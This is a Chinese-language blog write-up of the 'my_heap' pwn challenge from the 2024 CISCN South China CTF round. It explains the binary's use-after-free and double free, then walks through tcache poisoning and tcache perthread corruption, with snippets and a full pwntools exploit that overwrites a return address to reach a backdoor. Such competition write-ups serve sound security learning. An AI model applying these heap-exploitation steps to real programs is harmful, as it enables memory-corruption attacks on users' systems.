2024ciscn华南分赛区Pwn

2024ciscn华南分赛区Pwn

Berial Lv2

难评。。。

my_heap

考点

1、UAF

2、利用python脚本对异或的处理

3、堆指针复用

4、 double free

5、tcache poisoning

6、tcache perthread corruption

静态分析

img

img

add:

img

如果不是1就申请0x4f0大小的chunk(利用这个可以防止top chunk合并)

delete:

img

UAF

show:

img

有一个异或

magic:

img

泄露后门函数地址,然后往当前指针堆块写入0x10大小,但只有一次

解题过程(及每部分的脚本)

利用magic可以tcache attack,将堆块申请到tcache结构体

首先就是把地址泄露出来

1
2
3
4
5
6
7
8
9
10
# leak libcbase & heapbase
add(1, 0x500)
menu(1)
sla('which one you choose?\n', str(0))
free()
base = u64(show()) - 0x21ace0
add(1, 0x20)
free()
key = u64(show())
heapbase = key << 12

这一部分就是利用UAF,然后再去利用magic清空fd和bk

1
2
3
4
5
# leak backdoor & clean bk
magic()
ru("magic address: ")
backdoor = int(io.recv(14), 16)
s(b'\x00'*0x10)

再接着利用double free将对申请到heapbase

1
2
3
4
free()
edit(p64((heapbase + 0x10) ^ key))
add(1, 0x20)
add(1, 0x20)

接着就是各种准备

准备
  1. 申请到tcache结构体后先释放掉,然后在申请回来,可以一直申请0x280大小来利用
  2. 再将tcache结构体释放到tcache
  3. 申请0x20大小堆块并释放掉(后期会利用UAF写入environ地址泄露栈地址)
  4. 申请0x30大小堆块并释放掉(后期会利用UAF写入返回地址并edit为后门地址)
1
2
3
4
5
6
7
8
free()
add(1, 0x280)
free()
edit(p64(0))
add(1, 0x20)
free()
add(1, 0x30)
free()

然后将tcache结构体申请回来,利用UAF(tcache perthread corruption)将0x30和0x40的位置设置为两块(但实际现在每个大小里面只有一块)

1
2
3
add(1, 0x280)
free()
edit(b'\x00\x00' + b'\x02\x00' + b'\x02\x00')

使用tcache poisoning将environ地址放入0x30大小的tcachebin面,并泄露stack地址

1
2
3
4
5
6
7
8
# leak stack
add(1, 0x20)
free()
environ = base + libc.sym['environ']
edit(p64(environ ^ key))
add(1, 0x20)
add(1, 0x20)
stack = u64(show())

然后和上面同样的方法将存放堆指针的地址写入0x40大小的tcache,需要算下程序基址,然后将存放返回地址的栈地址放入buf,再edit为backdoor

1
2
3
4
5
6
7
8
9
10
# change ret_addr
add(1, 0x30)
free()
buf_addr = backdoor - 0x12BE + 0x4040
ret_addr = stack - 0x140
edit(p64(buf_addr ^ key))
add(1, 0x30)
add(1, 0x30)
edit(p64(ret_addr))
edit(p64(backdoor+5))

然后就会直接返回到后门函数了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import warnings
banary = "./my_heap"
elf = ELF(banary)
libc = ELF("./libc.so.6")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rud = lambda text: io.recvuntil(text, drop=True)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
url = 'hnctf.imxbt.cn:49999'
local = 1
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(*url.replace(':', ' ').split())
#----------------------------------------------------------------
def menu(num):
sla("edit\n", str(num))
def add(num, size):
menu(1)
sla('which one you choose?\n', str(num))
sla("size:", str(size))
def show():
menu(3)
ru("the data:")
buf = bytearray(b'\x00' * 8)
for i in range(7):
buf[i] = u8(io.recv(1)) ^ ((i + 153) % 0x100)
return buf
def edit(data):
menu(4)
sa('edit data:', data)
def free():
menu(2)
def magic():
menu(5)
#----------------------------------------------------------------
# leak libcbase & heapbase
add(1, 0x500)
menu(1)
sla('which one you choose?\n', str(0))
free()
base = u64(show()) - 0x21ace0
add(1, 0x20)
free()
key = u64(show())
heapbase = key << 12
# leak backdoor & clean bk
magic()
ru("magic address: ")
backdoor = int(io.recv(14), 16)
s(b'\x00'*0x10)
# double free
free()
edit(p64((heapbase + 0x10) ^ key))
add(1, 0x20)
add(1, 0x20)

free()
add(1, 0x280)
free()
edit(p64(0))
add(1, 0x20)
free()
add(1, 0x30)
free()
add(1, 0x280)
free()
edit(b'\x00\x00' + b'\x02\x00' + b'\x02\x00')
# leak stack
add(1, 0x20)
free()
environ = base + libc.sym['environ']
edit(p64(environ ^ key))
add(1, 0x20)
add(1, 0x20)
stack = u64(show())
# change ret_addr
add(1, 0x30)
free()
buf_addr = backdoor - 0x12BE + 0x4040
ret_addr = stack - 0x140
edit(p64(buf_addr ^ key))
add(1, 0x30)
add(1, 0x30)
edit(p64(ret_addr))
edit(p64(backdoor+5))


p('ret_addr')
p('buf_addr')
p('stack')
p('environ')
p('backdoor')
p('heapbase')
p('key')
p('base')
debug()
ia()
  • Title: 2024ciscn华南分赛区Pwn
  • Author: Berial
  • Created at : 2024-06-11 15:38:09
  • Updated at : 2024-09-12 14:42:35
  • Link: https://berial.cn/posts/2024ciscn华南分赛区Pwn/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
2024ciscn华南分赛区Pwn